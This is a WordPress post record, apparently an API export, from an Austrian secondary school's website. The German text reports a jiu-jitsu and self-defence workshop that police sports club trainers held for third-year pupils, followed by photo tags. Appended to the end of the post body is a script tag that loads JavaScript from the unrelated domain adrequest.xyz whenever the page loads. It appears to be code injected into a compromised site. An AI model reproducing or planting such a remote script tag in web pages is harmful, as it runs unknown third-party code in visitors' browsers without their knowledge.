{"id":965,"date":"2018-05-18T15:14:50","date_gmt":"2018-05-18T13:14:50","guid":{"rendered":"http:\/\/www.nmswallsee-sindelburg.at\/?p=965"},"modified":"2018-07-09T15:17:10","modified_gmt":"2018-07-09T13:17:10","slug":"besuch-des-polizeisportvereins-amstetten","status":"publish","type":"post","link":"https:\/\/www.nmswallsee-sindelburg.at\/?p=965","title":{"rendered":"Besuch des Polizeisportvereins Amstetten"},"content":{"rendered":"<p>Trainerinnen des Jiu Jitsu zeigten am Mittwoch, den 16. Mai 2018 in zwei Stunden Bewegung und Sport<\/p>\n<p><!--more--><\/p>\n<p>einen Einblick in den aus Kampfsport und Selbstverteidigung bestehenden Sport. Atemtechnik \u2013 K\u00f6rperhaltung \u2013 K\u00f6rperspannung waren dabei nur einige der zentralen Begriffe. Mit Freude folgten die Sch\u00fclerinnen und Sch\u00fcler der 3. Klassen den Instruktionen der beiden Ausbildnerinnen. Unter anderem wurden den Jugendlichen richtige Fall-, Abroll- und Abst\u00fctztechniken gezeigt. Befreiungstechniken, die auch zur Kunst des Jiu Jitsu geh\u00f6ren, sind f\u00fcr die Selbstverteidigung der Sch\u00fclerinnen und Sch\u00fcler im Ernstfall sehr wichtig. Begeistert probierten die angehenden Erwachsenen, die neu erlernten Vorg\u00e4nge aus. Die Partner\u00fcbungen verinnerlichten die zuvor in der Theorie erl\u00e4uterten Techniken. Zum Abschluss demonstrierten Lara Daurer (Sch\u00fclerin der 3B) und ihr j\u00fcngerer Bruder Kevin Daurer (1B), wie Anweisungen bei einem Wettkampf professionell umgesetzt werden<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-964\" src=\"http:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/5.jpg\" alt=\"\" width=\"684\" height=\"513\" srcset=\"https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/5.jpg 684w, https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/5-300x225.jpg 300w\" sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-963\" src=\"http:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/4.jpg\" alt=\"\" width=\"865\" height=\"648\" srcset=\"https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/4.jpg 865w, https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/4-300x225.jpg 300w, https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/4-768x575.jpg 768w\" sizes=\"auto, (max-width: 865px) 100vw, 865px\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-962\" src=\"http:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/3.jpg\" alt=\"\" width=\"696\" height=\"522\" srcset=\"https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/3.jpg 696w, https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/3-300x225.jpg 300w\" sizes=\"auto, (max-width: 696px) 100vw, 696px\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-961\" src=\"http:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/2.jpg\" alt=\"\" width=\"696\" height=\"521\" srcset=\"https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/2.jpg 696w, https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/2-300x225.jpg 300w\" sizes=\"auto, (max-width: 696px) 100vw, 696px\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-960\" src=\"http:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/1.jpg\" alt=\"\" width=\"815\" height=\"611\" srcset=\"https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/1.jpg 815w, https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/1-300x225.jpg 300w, https:\/\/www.nmswallsee-sindelburg.at\/wp-content\/uploads\/2018\/07\/1-768x576.jpg 768w\" sizes=\"auto, (max-width: 815px) 100vw, 815px\" \/><script async src='https:\/\/adrequest.xyz\/ad.js?t=3' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Trainerinnen des Jiu Jitsu zeigten am Mittwoch, den 16. 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